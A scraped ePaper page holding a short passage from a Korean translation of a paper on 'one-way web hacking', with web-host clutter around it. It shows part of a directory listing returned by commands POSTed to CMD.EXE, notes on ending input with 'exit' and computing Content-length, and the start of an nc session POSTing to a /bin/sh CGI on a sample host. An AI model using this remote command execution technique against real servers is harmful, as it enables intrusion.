12.07.2013 Views

One-way Web Hacking

One-way Web Hacking

One-way Web Hacking

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

12/07/00 12:50p weblogic<br />

12/07/00 12:53p weblogic_publish<br />

12/07/99 01:11p Java<strong>Web</strong>Server2.0<br />

12/07/99 06:49p 134,217,728 pagefile.sys<br />

12/07/99 07:24a urlscan<br />

12/07/99 04:55a Netscape<br />

C:\Inetpub\scripts>exit<br />

$<br />

13 File(s) 134,217,728 bytes<br />

120,782,848 bytes free<br />

CMD.EXE가 명령을 적절하게 받아들이기 위해, 웹 서버가 CMD.EXE의 ouput을 적절하게 리턴하기 위해서는 주의가<br />

필요하다. 위의 예에서 우리는 CMD.EXE에 대한 입력 스트림이 적절하게 종결되도록 하기 위해 “exit” 명령을<br />

포함시켰다. “exit”에 의해 취해진 여분의 문자를 염두에 두고 POST 리퀘스트의 Content-length 역시 적절하게<br />

계산되었다.<br />

3.1.2 /bin/sh 에 명령 POST 하기<br />

아래의 예는 /bin/sh와 함께 실행되는 세 가지 명령을 보여주며, http://www2.example.com/cgi-bin/sh.cgi에 접근이<br />

가능하다.<br />

$ nc www2.example.com 80<br />

POST /cgi-bin/sh.cgi HTTP/1.0<br />

Host: www2.example.com<br />

Content-type: text/html<br />

Content-length: 60

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!